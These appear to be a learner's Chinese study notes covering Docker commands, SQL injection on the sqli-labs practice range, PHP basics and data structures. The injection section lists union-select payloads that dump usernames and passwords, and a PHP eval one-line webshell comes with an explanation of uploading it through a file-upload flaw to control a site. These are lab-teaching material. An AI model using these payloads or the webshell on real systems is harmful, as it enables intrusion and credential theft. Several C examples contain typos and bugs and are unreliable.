docker学习

学习目标:学习docker技术并对常用命令进行总结

学习内容:

一、docker概述
docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口
在这里插入图片描述
在这里插入图片描述
二、Docker三大核心
docker有3大核心:镜像、容器、仓库
在这里插入图片描述

鲸鱼是操作系统。
要交付的应用程序是各种货物,要将各种形状和尺寸不同的货物放到大鲸鱼上,得考虑每件货物怎么安放(应用程序配套的环境),还得考虑货物和货物之间能否重叠起来(应用程序依赖的环境是否会冲突)。
现在使用了集装箱(容器)把每件货物都放到集装箱里,这样大鲸鱼可以用同样地方式安放、堆叠集装了,省事省力。
即:打包放到鲸鱼上,鲸鱼放到服务器上。也就是“build——ship——run”,这样在自己的电脑上怎么运行,在服务器上也会怎么运行。
用docker运行一个程序的过程:
去仓库把镜像拉到本地,然后用一条命令把镜像运行起来,变成容器。

三、docker常用命令总结
docker pull ${CONTAINER NAME} #拉取镜像
docker images #查看本地所有镜像
docker ps #查看所有正在运行的容器,加-q返回id
docker ps -a #查看所有容器,加-q返回id
docker rmi ${IMAGE NAME/ID} #删除镜像
docker rm ${CONTAINER NAME/ID} #删除容器
docker save ${IMAGE NAME} > ${FILE NAME}.tar #将镜像保存成文件
docker load < ${FILE NAME}.tar #从文件加载镜像
docker start ${CONTAINER NAME/ID} #运行一个以前运行过的容器
docker stop ${CONTAINER NAME/ID} #停止一个正在运行的容器
docker logs ${CONTAINER NAME/ID} #显示运行容器的日志
docker run… #运行一个容器
–name ${container name} #设置容器名称
-p ${host port}:${container port} #映射主机和容器内的端口
-e ${env name}=${env value} #添加环境变量
-d #后台运行
-v ${host folder path}:${container folder path} #将主机目录挂在到容器内
三、docker高级命令总结
Advance use
docker ps -f “status=exited” #显示所有退出的容器
docker ps -a -q #显示所有容器id
docker ps -f “status=exited” -q #显示所有退出容器的id
docker restart $(docker ps -q) #重启所有正在运行的容器
docker stop $(docker ps -a -q) #停止所有容器
docker rm $(docker ps -a -q) #删除所有容器
docker rm $(docker ps -f “status=exited” -q) #删除所有退出的容器
docker rm $(docker stop $(docker ps -a -q)) #停止并删除所有容器
docker start $(docker ps -a -q) #启动所有容器
docker rmi $(docker images -a -q) #删除所有镜像
docker exec -it ${CONTAINER NAME/ID} /bin/bash #进入容器内
docker exec -it ${CONTAINER NAME/ID} ping ${CONTAINER NAME/ID} #一个容器ping另外一个容器
docker top ${CONTAINER NAME/ID} #显示一个容器的top信息
docker stats #显示容器统计信息(正在运行)
docker stats -a #显示所有容器的统计信息(包括没有运行的)
docker stats -a –no-stream #显示所有容器的统计信息(包括没有运行的) ,只显示一次
docker stats –no-stream | sort -k8 -h #统计容器信息并以使用流量作为倒序
docker system
docker system df #显示硬盘占用
docker system events #显示容器的实时事件
docker system info #显示系统信息
docker system prune #清理文件

sql相关知识

sqli-labs靶场及相关知识

在这里插入图片描述

sql的相关知识

一、什么是sql
是一种用于管理关系数据库,并与数据库中的数据进行通讯的计算机语言
二、什么是sql注入
在我们的应用系统使用sql语句进行管理数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入
三、sql注入的分类
在这里插入图片描述四、数字型与字符型
1、数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
2、当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and ‘1’=’1 和 and ‘1’=’2来判断:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。
注意:1、字符型会自动加入两个单引号。
2、数字型不会加入两个单引号。
3、被单引号括起来的数据会被当成一个整体。
4、LIMIT m,n 会影响select语句的结果。
5、页面回显发生错误和页面不回显数据是两回事。前者表示sql语句出错了,后者表示sql语句没有错误,但是条件不成立。

基础知识

一、mysql相关指令

1
2
3
4
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’
查列:select column_name from information_schema.columns where table_name=‘users’
查字段:select username,password from security.users

关于mysql的相关知识可查询mysql相关知识
二、系统函数
1、version()–mysql版本
在这里插入图片描述
2、user()–数据库用户名

在这里插入图片描述
3、database()–数据库名
在这里插入图片描述
4、@@datadir–数据库路径
在这里插入图片描述
5、concat()–连接函数

1
2
3
4
5
concat(str1,str2,...)
--没有分隔符地连接字符串
--返回结果为连接参数产生的字符串
--如有任何一个参数为NULL, 则返回值为 NULL
--可以有一个或多个参数

6、concat_ws()

1
2
3
4
5
concat_ws(separator,str1,str2,...)
--含有分隔符地连接字符串, 分隔符的位置会放在要连接的两个字符串之间
--Separator为字符之间的分隔符, 可以是一个字符串, 也可以是其它参数
--如果分隔符为 NULL, 则结果为 NULL
--函数会忽略任何分隔符参数后的 NULL 值

sql-labs master靶场

一、注入流程:
在这里插入图片描述
我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据
二、靶场部分解题步骤:
1、判断有无注入
2、判断是什么注入
3、①less1 id=1’;less2 id=1;less3 id=1’);less4 id=1”)
②查看有多少列:order by 3–+
③查看哪些数据可以回显:union select 1,2,3–+
④查看当前数据库:union select 1,2,database()–+
⑤查看数据库security:union select 1,2,group_concat(schema_name)from information_schema.schemata–+
⑥查表:union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’–+
⑦查询列信息:union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security’–+
⑧查询账号和密码:union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
4、一句话木马(webshell)
①举例:

1
<?php @eval($_POST['attack']) ?>

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值
②一句话木马需要蚁剑,可查看博客中国蚁剑安装教程
③特点:一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
三、sql-labs 靶场注入分类
1、基于从服务器接收到的响应
<1>基于错误的 SQL 注入
原理:注入攻击的原理在于,程序命令和用户数据之前没有进行校验,使得攻击者有机会将程序命令当做用户输入的数据交给web程序,为所欲为。
也就是说:接受相关参数未经处理直接带入数据库查询操作
<2>联合查询的类型
UNION运算符可以bai将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联合查询
<3>堆查询注射(堆叠注入)
原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
也就是说:将语句堆叠在一起进行查询
<4>SQL 盲注
1、原理:指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,是一种猜测性质的注入
2、分类
①基于布尔SQL盲注
②基于时间的 SQL 盲注
③基于报错的 SQL 盲注
<5>基于如何处理输入的 SQL 查询(数据类型)
①基于字符串
②数字或整数为基础的

MYSQL的相关知识

MYSQL的相关知识

在这里插入图片描述一、定义:MySQL是一种开放源代码的关系型数据库管理系统(RDBMS),使用最常用的数据库管理语言–结构化查询语言(SQL)进行数据库管理。(关于数据库管理系统
二、用处:mysql是用来制作数据库的(数据库的概念:数据库是“按照数据结构来组织、存储和管理数据的仓库”,是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合,即按照某些特征存储数据的仓库)。
三、mysql的下载及使用
1、这里推荐使用phpstudy,在官网下载(https://www.xp.cn/),要注意路径中不能出现汉字以及如果之前下载过phpstudy则需要清除干净;
2、下载后安装打开在这里插入图片描述3、mysql命令行的打开
<1>在首页中打开Nginx;
<2>打开cdn在这里插入图片描述<3>在cmd内输入

1
mysql -uroot -p

然后输入密码即可使用
在这里插入图片描述
这里的默认密码为root,不建议大家更改密码,因为如果更改密码,搭建靶场时会十分麻烦。

PHP语言

学习目标:PHP语言

学习目标:

1、 学习php语言,对常用函数及其参数进行总结;
2、 比较echo,print,var_dump异同;
3、了解bash和shell。

学习内容:

一、php简介
1、php定义:即“超文本预处理器”,是在服务器端执行的脚本/编程语言,尤其适用于Web开发并可嵌入HTML中。PHP语法利用了C、Java和Perl,该语言的主要目标是允许web开发人员快速编写动态网页。
2、php用途:动态网站的开发
二、网站
1、静态网站
①静态网站的内容相对稳定,因此容易被搜索引擎检索;
②网站更安全,HTML页面不会受Asp相关漏洞的影响;而且可以减少攻击,防SQL注入。数据库出错时,不影响网站正常访问;
③减轻了服务器的负担,工作量减少,也就降低了数据库的成本;
④静态网页的交互性较差,在功能方面有较大的限制。
2、动态网站
①动态网站并不是指具有动画功能的网站,而是指网站内容可根据不同情况动态变更的网站,一般情况下动态网站通过数据库进行架构;
②动态网站可以实现交互功能,如用户注册、信息发布、产品展示、订单管理等等;
③动态网页中包含有服务器端脚本,所以页面文件名常以asp、jsp、php等为后缀。但也可以使用URL静态化技术,使网页后缀显示为HTML。所以不能以页面文件的后缀作为判断网站的动态和静态的唯一标准;
④动态网页网址中有一个标志性符号–“?”。
3、网站基本概念
①服务器:
<1> 服务器也称伺服器,是提供计算机服务的设备。由于服务器需要响应服务请求,并进行处理,因此一般来说服务器应具备承担服务并且保障服务的能力;
<2>服务器的构成包括处理器、硬盘、内存、系统总线等,和通用的计算机架构类似,但是由于需要提供可靠的服务,因此在处理能力、稳定性、可靠性、安全性、可扩展性、可管理性等方面要求较高;
<3>在网络环境下,根据服务器提供的服务器类型不同,分为文件服务器,数据库服务器,应用程序服务器,WEB服务器。
②IP概念:Internet Protocol,网络之间互联协议。网络之间互连的协议也就是为计算机网络相互连接进行通信而设计的协议。
③域名(Domain Name),是由一串用点分隔的名字组成(www.itcast.cn)的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位
举例:IP:127.0.0.1 域名:localhost
④DNS:(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网。
域名解析:用户输入域名,DNS会转换域名为IP,从而找到服务器。
4、Web程序的访问流程
在这里插入图片描述
①用户在浏览器地址栏输入请求URL,发起请求。
②通过DNS服务器解析出IP地址,找到对应的主机。
③根据脚本的类型:
如果是以.html结尾的文件,直接返回给浏览器。
如果是以.php结尾的文件,需要先执行PHP脚本。
此外,执行PHP脚本过程中,可能需要连接数据库获取一些数据信息。
所有代码执行完后,Apache将执行结果发给浏览器进行展示。
三、php基础
1、php语法初步:php是一种运行在服务器端的脚本语言,可以嵌入到HTML中。
2、php代码标记:脚本标记:<script language=”php>php 代码
标准标记:
3、php注释:
①行注释:一次注释一行 //
②块注释:一次注释多行 /* 中间直到 */
4、php语句分隔符
语句分隔符:在php中,代码以行为单位系统需要通过判断行的结束,该结束通常都是一个符号:分号“;”(英文状态下的分号)
特殊说明:
1.PHP中标记结束符?>自带语句结束符的效果,最后一行PHP代码可以没有语句结束符;
2、PHP中其实很多代码的书写并不是嵌入到HTML中,而是单独存在,通常书写习惯中不建议使用标记结束符?>
在这里插入图片描述
在这里插入图片描述
5、变量
PHP是一种动态网站开发的脚本语言,动态语言特点是交互性,会有数据的传递,而PHP作为“中间人”,需要进行数据的传递,传递的前提就是PHP能自己存储数据(临时存储)
①变量是用来存储数据的;
②变量是存在名字的;
③ 变量是通过名字来访问的;
④变量是可以改变的。
6、变量的使用
①定义:在系统中增加对应的变量名字(内存)
②赋值:可以将数据赋值给变量名(可以在定义的同时完成)
③可以通过变量名访问存储的数据
④变量可以从内存中删除。
在这里插入图片描述

7、变量命名规则
①在PHP中变量名字必须以“$”符号开始;
②名字由字母、数字和下划线“_”构成,但是不能以数字开头;
③在PHP中本身还允许中文变量(不建议)。
8、预定义变量
预定义变量:提前定义的变量,系统定义的变量,存储许多需要用到的数据(预定义变量都是数组)
$_GET:获取所有表单以get方式提交的数据
$_POST:POST提交的数据都会保存在此
$_REQUEST:GET和POST提交的都会保存
$GLOBALS:PHP中所有的全局变量
$_SERVER:服务器信息
$_SESSION:session会话数据
$_COOKIE:cookie会话数据
$_ENV:环境信息

9、可变变量
可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量前面再多加一个$符号。
$a = ‘b’;
$b = ‘bb’;
$$a->bb
在这里插入图片描述
10、变量传值
①定义:将一个变量赋值给另外一个变量:变量传值

②变量传值一共有两种方式:值传递,引用传递
<1>值传递:将变量保存的值赋值一份,然后将新的值给另外一个变量保存(两个变量没有关系)
在这里插入图片描述
<2>引用传递:将变量保存的值所在的内存地址,传递给另外一个变量:两个变量指向同一块内存空间(两个变量是同一个值)
$新变量 = & $老变量; (&地址符号)
在这里插入图片描述

11、内存
在内存中,通常有以下几个分区
栈区:程序可以操作的内存部分(不存数据,运行程序代码),少但是快
代码段:存储程序的内存部分(只存储代码不执行代码)
数据段:存储普通数据(全局区和静态区)
堆区:存储复杂数据,大但是效率低
12、常量
①常量基本概念:
常量:const/constant,是一种在程序运行当中,不可改变的量(数据)
常量一旦定义,通常数据不可改变(用户级别)
②常量定义形式
在PHP中常量有两种定义方式(5.3之后才有两种)
<1>使用定义常量的函数:define(‘常量名’,常量值);
<2>5.3之后才有的:const 常量名 = 值;
③常量名字的命名规则
<1>常量不需要使用“$”符号,一旦使用系统就会认为是变量;
<2>常量的名字组成由字母、数字和下划线组成,不能以数字开头;
<3>常量的名字通常是以大写字母为主(与变量以示区别);
<4>(第二点不完全对:)常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用define定义
常量在定义时必须要赋值
13、系统常量
系统常量:系统帮助用户定义的常量,用户可以直接使用

常用的几个系统常量
PHP_VERSION:PHP版本号
PHP_INT_SIZE:整型大小。(1字节8位。32位4字节,64位8字节)
PHP_INT_MAX:整型能表示的最大值(PHP中整型是允许出现负数:带符号)
14、数据类型
①定义:数据类型:data type,在PHP中指的是存储的数据本身的类型,而不是变量的类型。PHP是一种弱类型语言,变量本身没有数据类型。
②分类:
简单(基本)数据类型:4个小类
<1>整型:int/integer,系统分配4个字节存储,表示整数类型(有前提)
<2>浮点型:float/double,系统分配8个字节存储,表示小数或者整型存不下的整数(比如32位存不下的整型)
<3>字符串型:string,系统根据实际长度分配,表示字符串(引号)
<4>布尔类型:bool/boolean,表示布尔类型,只有两个值:true和false

复合数据类型:2个小类
<5>对象类型:object,存放对象(面向对象)
<6>数组类型:array,存储多个数据(一次性)

特殊数据类型:2个小类
<7>资源类型:resource,存放资源数据(PHP外部数据,如数据库、文件)
<8>空类型:NULL,只有一个值就是NULL(不能运算)
15、类型转换
①定义:类型转换:在很多的条件下,需要指定的数据类型,需要外部数据(当前PHP取得的数据),转换成目标数据类型
在PHP中有两种类型转换方式:
②分类<1> 自动转换:系统根据需求自己判定,自己转换(用的比较多,系统自己判断需要的类型,效率偏低)
<2>强制(手动)转换:认为根据需要的目标类型转换
强制转换规则:在变量之前增加一个括号(),然后在里面写上对应类型:int/integer….其中NULL类型用到unset()
在转换过程中,用的比较多的就是转布尔类型(判断)和转数值类型(算术运算)
其他类型转布尔类型:true或者false,在PHP中比较少类型会变成false
说明:其他类型转数值的说明
1)布尔true为1,false为0;
2)字符串转数值有自己的规则
3)以字母开头的字符串,永远为0;
4)以数字开头的字符串,取到碰到字符串为止(不会同时包含两个小数点)
16、运算符
①赋值运算:符号是“=”,表示将右边的结果(可以是变量、数据、常量和其它运算出来的结果),保存到内存的某个位置,然后将位置的内存地址赋值给左侧的变量(常量)。
②算术运算:基本算术操作
+:执行数据累加
-:数据相减
:键盘上没有乘法符号,使用代替,两个数相乘
/:正斜杠代替,表示两个数相除
%:取余(模)运算,两个数(整数)相除,保留余数
在进行除法运算或者取余运算的时候,对应的除数(第二个数)不能为0
③比较运算:比较两个数据的大小,或者两个内容是否相同,返回的结果都是布尔类型:满足返回true,不满足返回false

:左边大于右边,返回结果true
=:左边大于等于右边
<:左边小于右边
<=:左边小于或者等于右边
==:左边的与右边的相同(大小相同)
!=:左边的与右边的不同(大小不同)
===:全等于,左边与右边相同:大小以及数据的类型都要相同
在这里插入图片描述
在这里插入图片描述

④逻辑运算:针对不同的结果进行匹配。满足条件返回true,不满足返回false
&&和and:逻辑与,左边的条件与右边的条件同时成立(两边结果都为true)
||和or:逻辑或,左边的条件或者右边的条件只要有一个满足即可
!:逻辑非,对已有条件进行取反,本身为true,取反结果就是false
在这里插入图片描述
逻辑与和逻辑或又称之为短路运算:如果第一个表达式结果已经满足条件了,那么就不会运行逻辑运算符后面的表达式:在书写代码的时候,尽量将出现概率最高的(能够直接判断出结果)的表达式放到第一位,提高运算效率
17、连接运算符
连接运算:是PHP中将多个字符串拼接的一种符号
. :将两个字符串连接到一起
.= : 复合运算,将左边的内容与右边的内容连接起来,然后重新赋值给左边变量
A .= b ⇔ A = A . b
在这里插入图片描述
18、自操作运算符
自操作:自己操作自己的运算符
++:在原来的值上+1
–:在原来的值上-1

$a = 1;
$a++; // $a = $a + 1;

在PHP中自操作符是可以放到变量前或者后:前置自操作和后置自操作
$a = 1;
$a++;
++$a; //前置或者后置如果本身只有自操作,不参与其他运算(自操作同时),那么效果是一样的。但是如果自操作同时还参与别的运算,那么效果就不一样
$a = 1;
$b = $a++; //$a++会导致$a = $a + 1; $a = 2;,上面的$b = 1
$c =++$a; //++$a会导致$a = $a + 1; $a = 2;,$c = 2;

后置自操作:先把自己所保存的值留下来,然后改变自己,自己给别人的值是原来的值;
前置自操作:先把自己改变,然后把改变后的值给别
与c 语言类似
19、常用函数总结
1、输出函数
print():类似于echo输出提供的内容,本质是一种结构(不是函数),返回1,可以不需要使用括号(因为是结构不是函数)
print_r():类似于var_dump,但是比var_dump简单,不会输出数据的类型,只会输出值(数组打印使用比较多)

而var_dump()是判断一个变量的类型与长度,并输出变量的数值,如果变量有值,则输出是变量的值,并返回数据类型。
echo函数实际不是一个函数,可以连续输出多个变量,而print一次只能输出一个
2、有关时间的函数
在这里插入图片描述
date():按照指定格式对对应的时间戳(从1970年格林威治时间开始计算的秒数)转换成对应的格式,如果没有指定特定的间时间戳,那么就是默认解释当前时戳
time():获取当前时间对应的时间戳
microtime():获取微秒级别的时间
在这里插入图片描述

3、有关数学的函数
max():指定参数中最大的值
min():比较两个数中较小的值
rand():得到一个随机数,指定区间的随机整数
mt_rand():与rand一样,只是底层结构不一样,效率比rand高(建议使用)
round():四舍五入
ceil():向上取整
floor():向下取整
pow():求指定数字的指定指数次结果:pow(2,8) == 2^8 == 256
abs():绝对值
sqrt():求平方根
4、有关函数的函数
function_exists():判断指定的函数名字是否在内存中存在(帮助用户不去使用一个不存在的函数,让代码安全性更高)
func_get_arg():在自定义函数中去获取指定数值对应的参数 – 实参位置
func_get_args():在自定义函数中获取所有的参数(数组)– 所有实参
func_num_args():获取当前自定义函数的参数数量 – 实参数量
在这里插入图片描述
5、字符串相关函数
1)转换函数:implode(), explode(), str_split()
implode(连接方式,数组):将数组中的元素按照某个规则连接成一个字符串
explode(分割字符,目标字符串):将字符串按照某个格式进行分割,变成数组
中国|北京|顺义 == array(‘中国’,‘北京’,’顺义’);
str_split(字符串,字符长度):按照指定长度拆分字符串得到数组

2)截取函数:trim(), ltrim(), rtrim()
trim(字符串[,指定字符]):本身默认是用来去除字符串两边的空格(中间不行),但是也可以指定要去除的内容,是按照指定的内容循环去除两边有的内容:直到碰到一个不是目标字符为止
ltrim():去除左边的
rtrim():去除右边的
3)截取函数:substr(), strstr()
substr(字符串,起始位置从0开始[,长度]):指定位置开始截取字符串,可以截取指定长度(不指定到最后)
strstr(字符串,匹配字符):从指定位置开始,截取到最后(可以用来取文件后缀名)
4)大小转换函数:strtolower(), strtoupper(), ucfirst()
strtolower:全部小写
strtoupper:全部大写
ucfirst:首字母大写
5)查找函数:strpos(), strrpos()
strpos(字符串,匹配字符):判断字符在目标字符串中出现的位置(首次)
strrpos(字符串,匹配字符):判断字符在目标字符串中最后出现的位置
6)格式化函数:printf(), sprintf()
srintf/sprintf(输出字符串有占位符,顺序占位内容…):格式化输出数据
7)其他:str_repeat(), str_shuffle()
str_repeat():重复某个字符串N次
str_shuffle():随机打乱字符串

数据结构与算法

数据结构与算法

关于数据结构组织-例_图书的摆放

一、定义:数据结构是数据对象,以及存在于该对象的实例和组成实例的数据元素之间的各种联系。这些联系可以通过定义的函数来给出。(定义并不唯一)
二、对定义的解释(举例)
1、如何在书架上摆放图书?
<1>新书怎么插入?
<2>怎么找到某本指定的书?
方法1:随便放
方便新书插入,但极不方便找到某本指定的书。
方法2:按照书名的拼音字母顺序排放
用二分查找法查找指定的书,方便查找但不方便新书插入。
方法3:把书架划分成几块区域,每块区域指定摆放某种类别的图书;在每种类别内,按照书名拼音字母顺序排放
操作1:新书怎么插入?
先定类别,二分查找确定位置,移出空位
操作2:怎么找到某本指定的书?
先定类别,再二分法查找
问题:空间的分配及类别的分类
总结:解决问题方法的效率和数据的组织方式有关

关于空间使用-例_PrintN函数的实现

例子:写程序实现一个函数printN,使得传入一个正整数为N的参数后,能顺序打印从1到N的全部正整数
循环实现

1
2
3
4
5
6
7
vido PrintN(int N)
{
int i;
for(i=1;i<=N;i++)
printf("%d",N);
return;
}

递归实现

1
2
3
4
5
6
7
8
vido PrintN(int N)
{if(N)
{
PrintN(N-1)
printf("%d",N);
}
return;
}

当N=1000000时,递归方法无法实现;
总结:解决问题方法的效率,跟空间的利用效率有关。

关于算法效率

例子:写程序计算给定多项式在给定点x的值
在这里插入图片描述
方法一:

1
2
3
4
5
6
7
8
double f(int n,double a[],double x)
{
int i;
double p=a[0];
for(i=1;i<=n;i++)
p+=(a[i]*pow(x,i));
return p;
}

方法二:

1
2
3
4
5
6
7
8
9
10
double f(int n,double a[],double x)
{
int i;
double p=a[i];
for(i=n;i>0;i--)
{
p=a[i-1]+x*p;
}
return p;
}

相关知识:函数pow(x,y)即数学函数,x的y次方;
clock():捕捉从程序开始运行到clock()被调用时所耗费的时间。这个时间单位是clock tick,即“时钟打点”
常数CLK_TCK:机器时钟每秒所走的时钟打点数。
计算程序时间的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<time.h>
#include<math.h>
clock_t start ,stop;
double duration;
#define MAXN 10
#define MAXK 1e7
double f1(int n ,double a[],double x)
{
int i;
double p=a[0];
for(i=0;i<=n;i++)
p+=(a[i]*pow(x,i));
return p;
}
double f2(int n,double a[],double x)
{
int i;
double p=a[i];
for(i=n;i>=0;i--)
p=a[i-1]+x*p;
return p;
}
int main()
{
int i;
double a[MAXN];
for(i=0;i<MAXK;i++)a[i]=(double)i;

start=clock();
for(i=0;i<MAXK;i++)
f1(MAXN-1,a,1.1);
stop=clock();
duration=(double)(stop-start)/CLK_TCK/MAXK;
printf("tickes=%f\n",(double)(stop-start));
printf("duration1=%6.2e\n",duration);

for(i=0;i<MAXK;i++)a[i]=(double)i;
start=clock();
for(i=0;i<MAXK;i++)
f2(MAXN-1,a,1.1);
stop=clock();
duration=(double)(stop-start)/CLK_TCK/MAXK;
printf("tickes=%f\n",(double)(stop-start));
printf("duration2=%6.2e\n",duration);
return 0;
}

运行结果如下:在这里插入图片描述
总结:解决问题方法的效率与算法的巧妙有关。

抽象数据类型

一、所以到底什么是数据结构
1、数据对象在计算机的中的组织方式

  • 逻辑结构(一对一,一对多,多对多)
  • 物理存储结构(计算机如何存储数据)
    2、数据对象必定与一系列加在其上的操作相关联
    3、完成这些操作所用的方法就是算法
    二、抽象数据类型(Abstract Data Type)
    1、数据类型
    <1>数据对象集(是什么东西)
    <2>数据集合相关联的操作集(对数据的操作)
    2、抽象:描述数据类型的方法并不依赖于具体实现
    <1>与存放数据的机器无关
    <2>与数据存储的物理结构无关
    <3>与实现操作的算法和编程语言均无关
    也就是说只描述对象集和相关操作集“是什么”,并不涉及“如何做到”的问题。

    算法

    一、定义:
    1、一个有限指令集
    2、接受一些输入(有些情况下不需要输入)
    3、必须产生输入
    4、一定在有限步骤之后终止
    5、每一条指令必须:
  • 有充分明确的目标,不可以有歧义;
  • 计算机能处理的范围之内
  • 描述应不依赖于任何一种计算机语言以及具体的实现手段
    二、什么是好的算法
    1、空间复杂度S(n)——根据算法写成的程序在执行时占用存储单元的长度。这个长度往往与输入数据的规模有关。空间复杂度过高的算法可能导致使用的内存超限,造成程序非正常中断
    2、时间复杂度T(n)——根据算法写成的程序在执行时耗费时间长度。这个长度往往也与输入数据的规模有关。时间复杂度过高的低效算法可能导致我们在有生之年都等不到结果
    3、在分析一般算法的效率时,我们经常关注下面两种复杂度
    <1>最坏情况复杂度
    <2>平均复杂度

分析时常分析最坏情况复杂度
4、复杂度的渐进表示法
在这里插入图片描述
分析时,竭尽所能寻找最大的下届和最小的上界。
在这里插入图片描述
总结:1、若两段算法分别有复杂度T1(n)=O(f1(n))和T2(n)=O(f2(n)),则
<1>T1(n)+T2(n)=max(O(f1(n)),O(f2(n)))
<2>T1(n)*T2(n)=O(f1(n)*f2(n))
2、若T(n)是关于n的k阶多项式,那么T(n)=Θ(n的k次方)
3、一个for循环的时间复杂度等于循环次数乘以循环体代码的复杂度
4、if—else结构的复杂度取决于if的条件判断复杂度和两个分支的复杂度,总体复杂度取三者最大
例题:在这里插入图片描述
算法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int MaxSubseqsum1(int A[],int N)
{
int ThisSum,MaxSum=0;
for(i=0;i<N;i++)
{
for(j=i;j<N;j++)
{
ThisSum=0;
for(k=i;k<=j;k++)
ThisSum+=A[k];
if(ThisSum>MaxSum)
MaxSum=ThisSum;
}
}
return MaxSum;
}

算法2:

1
2
3
4
5
6
7
8
9
10
11
12
13
int MaxSubseqSum1(int A[],int N)
{
int i,j;
for(i=0;i<n;i++)
ThisSum=0;
for(j=i;j<N;j++)
{
ThisSum+=A[j];
if(ThisSum>MaxSum)
MaxSum=ThisSum;
}
return MaxSum;
}

算法2要比算法1简单。
算法三(在线算法):

1
2
3
4
5
6
7
8
9
10
11
int MaxSubseqSum4(int A[],int N)
int ThisSum,MaxSum;
int i;
ThisSum=MaxSum=0;
for(i=0;i<N;i++)
{
ThisSum+=A[i];
if(ThisSum>MaxSum)
else if(ThisSum<0)
ThisSum=0;}
return MaxSum;

引子_多项式表示

一、线性表及其实现
1、线性结构的定义:数据元素之间构成一个有序的序列
例子:在这里插入图片描述
方法1:采用顺序存储结构直接表示一元多项式
在这里插入图片描述
缺点:如果要表示x+pow(x,3000),就必须采用一个大小至少为3001的数组,而在这个数据中大多数数据均为0,只有两项不为0,显然空间浪费得厉害。
方法二:顺序存储结构表示非零项:在这里插入图片描述
按指数大小有序排列
方法三:链表结构存储非零项
在这里插入图片描述
启示:
<1>同一个问题可以有不同的表示(存储)方法
<2>有一类共性问题:有序线性序列的组织和管理
2、什么是线性表
<1>定义:由同类型数据元素构成有序序列的线性结构
<2>特点:
1)表中元素个数被称为线性表长度
2)线性表没有元素时,称为空表
3)表起始位置称表头,表结束位置称表尾

在这里插入图片描述
顺序存储

1
2
3
4
5
6
7
typedef strcut LNode *List
strcut LNode{
ElementType Data[MAXSIZE];
int Last;
};
struct LNode L;
List PtrL;

访问下标为i的元素:L.Data[i]或PtrL->Data[i]
线性表的长度:L.Last+1或PtrL->Last+1
主要操作的实现
1.初始化(建立空的顺序表)

1
2
3
4
5
List MakeEmpty()
{List PtrL;
PtrL=(List)malloc(sizeof(struct LNode));
PtrL->=-1;
return PtrL;}

2.查找

1
2
3
4
5
6
7
int Find(ElementType X,List PtrL)
{int i=0;
while(i<=PtrL->Last&&PtrL->Data[i]!=X)
i++;
if(i>PtrL->Last)
return -1;
else return i;}

3.插入(第i(1<=i<=n+1))个位置上插入一个值为X的新元素)
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void Insert(ElementType X,int,List PtrL)
{
if(PtrL->Last==MAXSIZE-1)
{printf("表满");
return;
}
if(i<1||i>PtrL>Last+2)
{printf("位置不合法");
return;
}
for(j=PtrL->Last;j>=i-1;j--)
PtrL->Data[j+1]=PtrL->Data[j];
PtrL->Data[i-1]=X;
PtrL->Last++;
return;
}

平均移动次数为n/2
平均时间性能为O(n)
4.删除(删除表的第i(1<=i<=n)个位置上的元素)
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
void Delete(int i,List PtrL)
{int j;
if(i<1||i>PtrL->Last+1){
printf("不存在第%d个元素",i);
return;
}
for(j=i;j<=PtrL->Last;j++)
PtrL->Data[j-1]=PtrL-->Data[j];
PtrL->Last--;
}

线性表的链式存储实现
主要操作的实现
1、求表长

1
2
3
4
5
6
7
8
9
10
int Length(List PtrL)
{
List p=PtrL;
int j=0;
while(p)
{p=p->Next;
j++;
}
return j;
}

时间复杂度为:O(n)
2、查找
(1)按序号查找:FindKth

1
2
3
4
5
6
7
8
9
10
List FindKth(int K,List PtrL)
{List p=PtrL;
int i=1;
while(p!=NULL&&i<k)
{
p=p->Next
i++;}
